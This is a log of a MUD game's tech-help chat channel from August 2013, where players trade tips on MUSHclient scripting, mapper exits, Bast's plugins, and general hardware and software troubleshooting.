T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: like a 2 dimensional grid of an exe file
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: so i could make comparisons
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: a graphical diff
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: as in opening it in a hex editor?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: yeah like a graphical hex editor
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: so if you had to pick between c++, c#.net, and java which class would you take?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: there are good tools for diffing files
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Malkar Tech: have you already taken other programming classes?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: the best hex editor I ran across is 010 Editor.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: diffing on binary pretty much comes down to 'yes these are the same' vs 'no these are different'.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i have taken C and matlab and know some html, css and sql
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: it's fairly cheap and worth it if you need a good hex editor
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: if it makes a difference my degree is in it security
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: Vakieh, depend on what you use when you diff the files.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: "diff" in linux will not give you any further information
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: for an arbitrary binary/exe file, that's all you can get no matter what you use to diff...
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: diff in linux is not designed to be used on binary files... but even if you are diffing with a hex tool, the info is still going to be next to useless
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: you can use other tools to deconstruct and compare, but that's not diffing
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: depends on the binary, alot.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: for example you can open up 2 .jpg files next to each other and visually "diff"
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: no it doesn't
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: Yes it does.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: not for the problem as given, no it doesn't
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: I always go ranger
T3/r7/2013-08-24.txt.gz:{chan ch=tech}ElFeneri Tech: not sure what the problem is, but when it comes to comparing binaries, you can learn alot from them by diffing them. Again, depending on the binary you diff.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Daloran Tech: you should do some reading on Babbage. He made an entire machine for diffing things
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: well I figured it out on my own I think i don't want to give it away
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: if I talked further it would ruin the surprise
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: thanks for feedback though
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Greendude Tech: did you know a good way of reading with control of speed is to slow down the first two words every sentence
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Vishos Tech: is there a way to insert a pause into custom exits? I've noticed a few rooms that don't let you leave immediately, while a guard checks your papers etc. which throws off mapper goto.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: yes, mapper help exits says how
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Vishos Tech: that's for constructing your exit. I mean a permanent, wait 2 seconds before continuing to the next room everytime you leave this room
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: it is for that
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Vishos Tech: oh... k i'll read harder =)
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: cexit enter exit;;wait(2);;scan
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Om Nom Nom Cheezburger Tech: mapper cexit*
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Vishos Tech: yea i see it now... sorry for being dense
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Leinei Tech: You might have to block the regular exit (by right-clicking on the gmcp map, and setting the level lock high).  Not sure, though.  Not sure if a cexit or a regular exit takes priority (or if it's even determined which does)
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: cexit always takes priority
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: that's why you use a cexit for opening doors
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Leinei Tech: Nods, I suppose so.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: the code actually says an exit of a command more than 1 character long takes priority ;-)
T3/r7/2013-08-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i use stylebot for chrome to get sites how i look, and for some reason on one website when i hover over an image i changed through the code it like goes up, but i want it to stay still any ideas how i can fix it?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: this is what im talking about: http://i39.tinypic.com/2rr7a6q.png
T3/r7/2013-08-24.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: how do i make pages make sound in mush?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: try sticking your foot in it and wiggling your toes :P
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Leinei Tech: game, config, output, check enable beeps
T3/r7/2013-08-24.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: If I have an alias with variables macro'd, how can I use the for a color code in that alias?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Er, variables are expanded, not macroed.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Leinei Tech: use @@
T3/r7/2013-08-24.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: hmmm, when someone pages me it doesnt show on the main screen, is that why it's not beeping?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: if so, how do i get pages to show on the main screen
T3/r7/2013-08-24.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Sweet, it worked, thanks. :D
T3/r7/2013-08-24.txt.gz:{chan ch=tech}[Deputy] Westclox Tech: no one knows?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: In Mush, is there a way for an alias to assign a value into a variable?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Redryn Tech: SetVariable
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: SetVariable, I think.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Narhtan Tech: I think so, instead of outputting to world, choose variable
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Narhtan Tech: I lied listen to them
T3/r7/2013-08-24.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Awesome, thanks. :d
T3/r7/2013-08-24.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Hm, what do I gotta do to use SetVariable?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: send to execute, I guess?  Send to script?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Narhtan Tech: isnt it send to variable?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: dunno, I don't bother opening Mush anymore.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Narhtan Tech: what do you use?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: cmud
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Narhtan Tech: anygood?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: just as good as Mush, but not being updated.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Narhtan Tech: ah
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Leinei Tech: If you're using a function in a trigger, you need to send to script
T3/r7/2013-08-24.txt.gz:{chan ch=tech}HelperMan Hadar Tech: i prefer cmud over mush
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Leinei Tech: well, unless you're using the scripting prefix and sending to execute
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Leinei Tech: send to script basically means "treat the stuff I'm writing as lua code (or whatever your current scripting language is set to"
T3/r7/2013-08-24.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Ah, okay. Thanks. Still learning this. :)
T3/r7/2013-08-24.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: Hm, send to variable seems to work out nicely. Set up an alias to set that variable. Thanks for all the tips guys. :D
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Acidangel Tech: damn cat jumped on the keyboard and now none of my macro commands work, how do i get them to work again? Mushclient..
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Hanslanda Tech: well, first you skin the cat (I'll leave it to you to decide how, as there's more than one way).
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Acidangel Tech: and my macro issue?
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Acidangel Tech: nm, got it.
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: I mean the issue you asked about on tech
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Tech: mis
T3/r7/2013-08-24.txt.gz:{chan ch=tech}Kalsch Tech: Any idea why when connecting my xbox 360 to my computer monitor via hdmi cable I can switch to the input to the xbox and it flashes the xbox screen for a second and then reverts back to the computer input?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: what happens if you unplug the input from your computer?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Ranrr Tech: Maybe the XBOX requires HDCP and your monitor does not support it?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Kalsch Tech: meh i dunno, its a like 2 years old high end hp monitor
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Kalsch Tech: and i'd think it wouldn't even flash the actual xbox screen if it wasn't supported at all
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Ranrr Tech: Probably not. Just a guess :D
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Hanslanda Tech: does your monitor have some sort of feature that connects different ports to each other?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Hanslanda Tech: I've a TV that has RIZALink or somesuch, when I turn it on it starts messing with inputs automatically.
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Kalsch Tech: no not that i have ever seen / am seeing now.  Just standard 2 hdmi inputs, dvi input, etc
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Kalsch Tech: fyi ive tried different cables, both hdmi ports, tested on different tvs (works just fine)
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Arkaylis Tech: on mine, i have to put the cable in the hdmi/dvi vs just the hdmi for it to work.  my ps3 goes in the regulat hdmi
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Kalsch Tech: you have to use an hdmi to dvi cable?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Arkaylis Tech: i dont recall. my son set it up
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Tilson Tech: how do i stop the autohunt trick after i am done using it?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Tech: it'll stop when it gets to the right one
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Tilson Tech: oh so technically i am supposed to use it for cp mobs then?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Book of Etzli Tech: That's really what it's useful for...
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Tech: that's what the hunt trick is...
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Book of Etzli Tech: CPs and GQs, anyway.
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Tilson Tech: oh lol ok
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Tech: autohunt is different than autohunttrick
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Tilson Tech: i have them both i just thought the autohunttrick was used to find out how many of the same mob there were in the area you were in
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Tech: no, it's meant to find out which is the right mob...like "help hunt trick"
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Book of Etzli Tech: It doesn't matter how many of a particular mob is in an area, really.
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Stanislav Tech: how do i make winkle winkle scripts to works with a map of a new area?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Trachx Tech: what do you mean? those scripts use mapper, so just map area and they should work
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Stanislav Tech: seems like they dont recognize one of the areas(brightsea) yet, and it shows in red color on my S&D list
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Stanislav Tech: i went to an area and mapped it a bit, but nothing changed
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Stanislav Tech: it doesnt recognize an area when i try to xcp a mob there
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Trachx Tech: have you mapped those room in red? (I assume it is room campaign)
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Trachx Tech: 'a bit' may be not enough, basically S&D searches through mapper database for rooms with given names
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Stanislav Tech: nope. but i had other areas unmapped aswell, still xcp was taking  me to an area entrance at least
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Turie Tech: Purge Port and explore the whole area. reinstall the plugins and see what happens.
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Stanislav Tech: i this case it doesnt even find an area entrance
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Stanislav Tech: purge port?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Turie Tech: The old area.
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Stanislav Tech: how do i do it?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Turie Tech: type mapper help utils and read.
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Stanislav Tech: reinstalling helped, thank you
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Intuition Tech: Hey. I want to defined composed variables. something along the lines word(evel). I want evel to evaluate first to 70 so I then get word70 's value. Is it possible through a simple alias in mushclient? Or I need to go read some scripting FAQs for that?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Intuition Tech: I meant [at]sword([at]level) to evaluate to [at]sword70 and then again to whatever value variable sword70 has.
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Intuition Tech: nevermind.
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: if two entities predict something to happen where one predicts 0.5 chance and other predicts 0.8 chance is it possible to add these chances together so i have one?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Xaeris Tech: yes, dependant on how their probabilities are connected.
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: median, maybe?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Darkwing Duckbat Tech: it's (1 - a) * b + a isn't it?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Ranrr Tech: Or no, dependant on how they are observing the system
T3/r7/2013-08-25.txt.gz:{chan ch=tech}My Name Is Shiruyumi Tech: So with mapper aliases.. is there a way, like if I have it set up to call a port_recall alias, that I can set up my alias to actually be port_*, and it matches the recall part?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Xaeris Tech: no duckbat.  What's the specific info
T3/r7/2013-08-25.txt.gz:{chan ch=tech}HelperMan Hadar Tech: in mush how do i use a variable name in send to world?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Leinei Tech: start with @ and check the expand variable box
T3/r7/2013-08-25.txt.gz:{chan ch=tech}HelperMan Hadar Tech: thanks
T3/r7/2013-08-25.txt.gz:{chan ch=tech}HelperMan Hadar Tech: so im trying to do an if fuction send to script in mush, i have if drink.continer==drink.first then print("success") else print("fail") ... even though the 2 numbers match its still printing out fail, ideas?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}HelperMan Hadar Tech: here is the actual code: http://pastebin.com/Ln8cwwmX
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Navi Tech: So there's a room in aylor that my mapper says has a down exit, but when i go there, there isn't a down exit. mapper unmapped area also lists it.. What can I do?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Turie Tech: Navi Which room?
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Navi Tech: mapper goto 32571
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Turie Tech: Right click on the room in the mapper, delete room, walk back into the room and see what happens.
T3/r7/2013-08-25.txt.gz:{chan ch=tech}Navi Tech: Okay, that fixed it, thanks. :)
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Tech: hadar: the issue is with the fact that lua actually doesn't "type" its variables well...I suggest using tonumber() around any variables that are supposed to be numbers within an if statement...making the one line be "if tonumber(drink.container) == tonumber(drink.first) then" will work
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Tech: (more specifically, it doesn't type them at all when the variable is made)
T3/r7/2013-08-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: chrome html5/javascript app: cpu usage rises, mem usage drops. i stopped the app from running, it does nothing now, but it settled at 50%cpu and my computer struggles with typing this. what could be the problem?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Henriken Tech: excuse me, do any of you know much about Mushclient?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Tech: Turie *typing clients* I do not think so.......
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Henriken Tech: Im having a problem where I cant reach the top border line of my main text window in mushclient
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: type resetaard
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: Then resize your windows.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Henriken Tech: wow it worked
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Henriken Tech: been looking so long time for this :)
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Henriken Tech: thanks alot man
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: Do you know about the wiki?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: https://code.google.com/p/aardwolfclientpackage/wiki/Introduction?tm=6
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Henriken Tech: thanks gonna check it out!
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: How can I get the menu bar ack on bast's cp window?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Anyone know how to get the menu bar on the miniwin events in bast's plugin please?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: Menu is the M in the upper left corner
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Right, but mine is gone
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: Reload the plugin.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: I'll try that
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Gonf Tech: click on the top left corner of the plugin window
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: Gonf: Did you get the eqdb plugin to work?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Gonf Tech: no, I haven't tried it recently
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Mushambo Tech: Would there be any reason that my wireless connection always starts dropping around the same time each day? Whereas my wired one doesn't have problems? Perhaps neighbor's wireless use?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}ElFeneri Tech: could be due to increased noise from other networks, yes. Measure S/N ratio.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Ok enabling and disabling has completely broken my miniwin to where it's now just a compressed window vertically :p
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: Bast's plugins?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Yeah
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: which miniwindow?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Events
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: mev events reset should reset it
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Well I requested a campaign and it expanded vertically to accomodate those targets but not width wise
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: Speak of the Devil and there he is!
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: (Also thank you for answering questions on this all of you :)
T3/r7/2013-08-26.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: bast any way to give miniwindows a priority on load which are front/back etc?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: it should save that, so set them up the way you like and it should remember
T3/r7/2013-08-26.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: odd. maybe its because mush didn't close properly
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: He has it setup by priority from 1-10 I think it is where 1 is the highest and 10 is the lowest.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: Bast, I could've sworn that when installing your spellup plugin, it said some extra stuff besides the fact that it's on. Would this be a cause for me to reinstall it?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: not if you run the aardwolf mushclient, it uses Fiendish's layout plugin, which should remember (I think)
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Any other suggestions on how to restore my events to viewable?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: Kaltas: if it was in orange, then yes, is it working?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: Reload Vexthorne
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: There was no orange, which put me off. As far as working, lemme see if manually spelling up does stuff.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: Or it is hiding behind another plugin.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Do you mean reinstall or close mushclient?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: "mev events reset", then "mev events front", then "mev events show"
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: It's not working, unless mental barrier, underwater breathing, heighten, chameleon and adrenaline control aren't supposed to be working.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Turie Tech: Oh....It is hiding
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: kaltas: type "bsp check" and look through there to see if there is a problem
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: those commands work with all my windows
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: WEll, my events was showing but unreadable, now it's just completely gone after those 3
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: Vex: type "mev info" does it say Shown: true, Hidden: false?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: From what I'm reading, everything is correct.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: Kaltas: type "tags". Is global on (at the bottom)? and  is spellups on?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: I get an invalid command and it shows basic plugin information with that
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: Spellups is yes, and Global is on.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: Vex: oops should be "mev events info"
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: Kaltas: if you type bsp, does it list those spells?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Shown is true, hidden is false, width is 6 which is part of it I'm sure
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: Doesn't list any spells right now.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: Kaltas: did you add them to the list to be autospelled?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: Vex, wait until you request a quest, it should change at that point
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Alright I'll see then, thanks
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: I haven't added anything, because usually it auto does everything for me.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: did you do "bsp sadd all"?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: This is a first, so I suppose I must add everything manually.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: Ahh, no I didn't. Again, it usually did it itself. That takes care of that problem.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: it never does that by itself, you have to tell it what spells to add, even as you level up
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: Weird. Well, it's all good for now. I know the command, so it won't be a problem anymore.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: Thanks, Bast.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: np
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: I absolutely love this plugin even more. Like, the fact that as soon as I manually add a spell to the list it gets casted. Genius.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: it is awesome
T3/r7/2013-08-26.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: just make sure to put right version of spells in etc. not just auto add everythng in existence
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Yeah, new quest doesn't restore the miniwin events window either, sorry :(
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Kaltas Tech: I have only added spells that buff me.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}CheeZy Bot HiSaZuL Tech: remove its state file and reinstall it
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: vex: you I suggest you do what hisazul said
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: I don't see the state file in the plugins folder, just xml and lua files?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: it is in the worlds/plugins/state directory, search for a file with the words "miniwin_events" in it
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vishos Tech: i'm having difficulty adding rings to basts eq sets plugin. It keeps saying not a valid wearloc regardless of what i put for the location
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: are you putting rfinger, lfinger?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vishos Tech: yea, same thing happens with necks too =(
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: do you have the latest version: r2089?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vishos Tech: oh sorry it also says 'cannot wear this item at the wear location finger'
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vishos Tech: bleh no, 2082
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vishos Tech: is there a way to upgrade without losing my current databases / settings?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: release note for 2089: eqSets - can now add ear, wrist, finger, and neck items
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vishos Tech: gotcha
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vishos Tech: will i have to re-input my existing sets? =(
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: no
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vishos Tech: thank you very much
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Loreli Tech: Is there a benefit to using a client mapper as opposed to just using the ones aardwolf give?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Navi Tech: mapper will find shortest path between rooms.
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Leinei Tech: that's the main thing.  Can also tell you all exits that you haven't been through yet (and how to get to them), to help you explore unexplored rooms
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Leinei Tech: can search for room names, too
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Loreli Tech: Thank you all. :)
T3/r7/2013-08-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: anyone there with safari? pls help me. 2 minutes
T3/r7/2013-08-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: http://noodid.ee/another_eartraining/eartraining.html
T3/r7/2013-08-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: slide the tempo down to 200 and click play. see what happens
T3/r7/2013-08-26.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: 2-3 mins
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Any easy way to tell what is causing this: Trigger function "set_show" not found or had a previous error. when I request a campaign?
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: it should show the plugin name in the error, reload that plugin
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: the error is just that line that I'm getting, dunno then thanks anyhow though :)
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: the original error should show it, so look back in your scrollback
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Bast Tech: it's miniwin_events, so "plugins reload miniwin_events" will reload it
T3/r7/2013-08-26.txt.gz:{chan ch=tech}Vexthorne Tech: Alright, thanks
T3/r7/2013-08-27.txt.gz:{chan ch=tech}LordRain Tech: anyone use mapper here?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}LordRain Tech: i'm having trouble with the mapper cexit command
T3/r7/2013-08-27.txt.gz:{chan ch=tech}LordRain Tech: can't seem to alias it
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Pedsirs Tech: im trying to get the spellup plugin but cant seem to download it, i used to have winrar but it wants me to purchase it now, any other application i can use to open it with?
T3/r7/2013-08-27.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: might try 7zip
T3/r7/2013-08-27.txt.gz:{chan ch=tech}Pedsirs Tech: ok thank you, downloading now
